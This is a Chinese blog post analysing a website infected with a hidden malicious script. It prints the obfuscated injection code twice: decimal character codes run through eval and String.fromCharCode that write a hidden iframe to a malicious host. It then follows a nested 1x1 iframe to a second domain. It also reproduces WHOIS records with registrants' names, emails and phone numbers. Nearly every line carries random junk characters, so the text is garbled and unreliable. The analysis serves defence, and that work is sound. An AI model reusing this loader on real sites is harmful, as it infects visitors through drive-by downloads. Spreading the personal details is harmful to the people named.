首发在我的博客里面，
N):t OD@B C S@FYO http://www.areway.cn/?p=175 ]b \yg2 q?4p)@# -n=^U 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Ont%eC\ `}(b2Hc> <script>t=’60,105,102,114,97,109,101,
Jz7!4mu 32,115,114,99,61,104,116,116,112,58,47,47,
e8pG"`wM8 102,114,101,101,46,117,45,117,117,117,46,99,
F ~^Jmp7Y 110,47,101,114,114,111,114,46,104,116,109,
`V`lo, "\ 32,119,105,100,116,104,61,49,48,48,32,104,
ht2\ y&si 101,105,103,104,116,61,48,62,60,47,105,102,
'^No)n\` 114,97,109,101,62′;
O_ChxX0KP t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
QWD'!)Zb xD5:RE~g <script>t=’60,105,102,114,97,109,101,32,115,
j/fzzI0@ 114,99,61,104,116,116,112,58,47,47,102,114,
f|B=_p80 101,101,46,117,45,117,117,117,46,99,110,47,
JBXrFC; 101,114,114,111,114,46,104,116,109,32,119,
v3aYc: C 105,100,116,104,61,49,48,48,32,104,101,105,
}q $5ig 103,104,116,61,48,62,60,47,105,102,114,97,
eO?p*"p" F 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
oXb;w@: document.write(t);</script>
Fx;QU)1l3 )6q,>whI] <html xmlns=”
#
WAZ9,t http://www.w3.org/1999/xhtml YE|SK x@ “>
Tw""}|] g <head>
G&i!Hs <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
(#Wu# F1; <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
1DE 1. 1 <title>首页 - 爱生活家庭网
;A]@4*q DVSL [p?_ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
np8gKV D 转换字符串后的大概内容是（谁点击后果自付）：
|C!ox hu< <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
te3}d'9&| y9x w
9l' 查询玉米u-uuu.cn的详细信息：
`8AR_7i Domain Name: u-uuu.cn
hp#W 9@ NR ROID: 20070901s10001s64972306-cn
%k;|\%B` Domain Status: ok
(Tn- >).AO Registrant Organization: 王雷
do*EKo Registrant Name: 王雷
wN;^[ F Administrative Email:
czlovexs@126.com .}O[dR Sponsoring Registrar: 北京万网志成科技有限公司
_a6[{_Pc Name Server:ns.yovole.com
~y H?=:>U Name Server:ns1.yovole.com
swM*k;$q{ Registration Date: 2007-09-01 17:54
q(`/Vo4g( Expiration Date: 2008-09-01 17:54
Xc?&_\. + 最后PING了一下地址 都没有什么….
T)H{ H5Z$*4%G 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
q35f&O; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Jtr"NS?a] <script language=”javascript” src=”
~/98Id}v http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script L3@82yPo! >
/J=v]<87a 这个玉米应该有可能是木马作者的：
~:Ll&29i foafau.info的详细信息：
SKkUU^\#R` Access to INFO WHOIS information is provided to assist persons in
nEJY5Bz$ determining the contents of a domain name registration record in the
n 2)@S0{ Afilias registry database. The data in this record is provided by
qU#1i:(F* Afilias Limited for informational purposes only, and Afilias does not
f@Zszt guarantee its accuracy. This service is intended only for query-based
VU&7P/\f% access. You agree that you will use this data only for lawful purposes
U<DZ:ds ?T and that, under no circumstances will you use this data to: (a) allow,
:_g$.h%% enable, or otherwise support the transmission by e-mail, telephone, or
yXHUJgjl/ facsimile of mass unsolicited, commercial advertising or solicitations
KY51rw. to entities other than the data recipient’s own existing customers; or
[n \2 (b) enable high volume, automated, electronic processes that send
xa <UM5eI queries or data to the systems of Registry Operator, a Registrar, or
n)^i/ nXb' Afilias except as reasonably necessary to register domain names or
[8T^@YN modify existing registrations. All rights reserved. Afilias reserves
XCU7x i $d the right to modify these terms at any time. By submitting this query,
w8U&ls 1b you agree to abide by this policy.
9s6U }a'c Domain ID:D22418703-LRMS
;[M}MFc/` Domain Name:FOAFAU.INFO
9f &C Created On:20-Nov-2007 16:05:42 UTC
>pp5 ;h8! Last Updated On:20-Nov-2007 16:05:44 UTC
4nh>'v%pD Expiration Date:20-Nov-2008 16:05:42 UTC
W g02 A\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
n:yTeZ=-s4 Status:CLIENT DELETE PROHIBITED
;c4 gv,q@ Status:CLIENT RENEW PROHIBITED
&Low/Y'.jJ Status:CLIENT TRANSFER PROHIBITED
s' %R Status:CLIENT UPDATE PROHIBITED
FaDjLo2'o Status:TRANSFER PROHIBITED
mP0yk| Registrant ID:GODA-040110615
,*7 (%k^` Registrant Name:liu hong
:l f+W Registrant Organization:
Hn5|B 3vN Registrant Street1:beijing
@d
mV Registrant Street2:
Exc9`
7%. Registrant Street3:
YoBPLS`K Registrant City:beijing
VQ7*Z5[1 Registrant State/Province:
+yk24
` > Registrant Postal Code:100000
g*03{l#P Registrant Country:CN
inh=WUEW Registrant Phone:+86.860108888777
Z0Vl+ Registrant Phone Ext.:
|mGFts}0o' Registrant FAX:
,
udTvI Registrant FAX Ext.:
}bdmomV Registrant Email:bbbshiji@163.com
W-?()dX{ Admin ID:GODA-240110615
] 6TATPIr Admin Name:liu hong
ms*(9l.hOK Admin Organization:
I %sFqh> Admin Street1:beijing
o<COm9)i Admin Street2:
0K`#>}W #X Admin Street3:
y5?RVlKJ Admin City:beijing
:,'wV S8"] Admin State/Province:
!cO]< CWPq Admin Postal Code:100000
OY;*zk Admin Country:CN
Gd-'Z_ b Admin Phone:+86.860108888777
~Y|*`C_) Admin Phone Ext.:
@m w5~ + Admin FAX:
k <=//r Admin FAX Ext.:
[AYOYENp- Admin Email:bbbshiji@163.com
k1{K*O$e Billing ID:GODA-340110615
[lWQ' DZ Billing Name:liu hong
lDYyqG4 Billing Organization:
i rU 6 D Billing Street1:beijing
Y
}$/e Billing Street2:
+nXK-g;)' Billing Street3:
=&ks)MH- Billing City:beijing
;<Ar=? Billing State/Province:
Jk7|{W\OA Billing Postal Code:100000
{`LU+ Billing Country:CN
M>~D rul Billing Phone:+86.860108888777
`$,GzS ( Billing Phone Ext.:
S-
pV_Ff Billing FAX:
K/i*w<aPb7 Billing FAX Ext.:
3I)VH MC Billing Email:bbbshiji@163.com
D~hg$XzK Tech ID:GODA-140110615
6kpg+{; Tech Name:liu hong
*AO,^R&e. Tech Organization:
'EbWFMjy Tech Street1:beijing
3 RYpJAH Tech Street2:
u%}n w :> Tech Street3:
p "n$!ilbm Tech City:beijing
fGUE<l Tech State/Province:
=t9\^RIx)? Tech Postal Code:100000
Cs9.&Y Tech Country:CN
/fZe WU0W Tech Phone:+86.860108888777
jc uB Tech Phone Ext.:
k5:G-BQ : Tech FAX:
9
Vkb>yFX' Tech FAX Ext.:
Nl^;A> <u Tech Email:bbbshiji@163.com
mZ SD ( Name Server:NS27.DOMAINCONTROL.COM
_jLL_GD Name Server:NS28.DOMAINCONTROL.COM
L ^q""[ Name Server:
w80oXXs[# Name Server:
,l !Ta " Name Server:
`A w^H! Name Server:
Qw-~>d Name Server:
=]6%G7T Name Server:
+x0!*3q Name Server:
{1 UQ/_ Name Server:
F5P[dp-`1 Name Server:
-w9pwB Name Server:
Q.l}NtHwV Name Server:
(gP)%
^
D aBz\ 接着下载每个文件里面的代码：
^hc!F D 一步一步看..
OGK}EI 
,]9P{k]O 
9oY gl1}d 
i,>kh c 
hIy ~B[' 
B"h#C!E 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
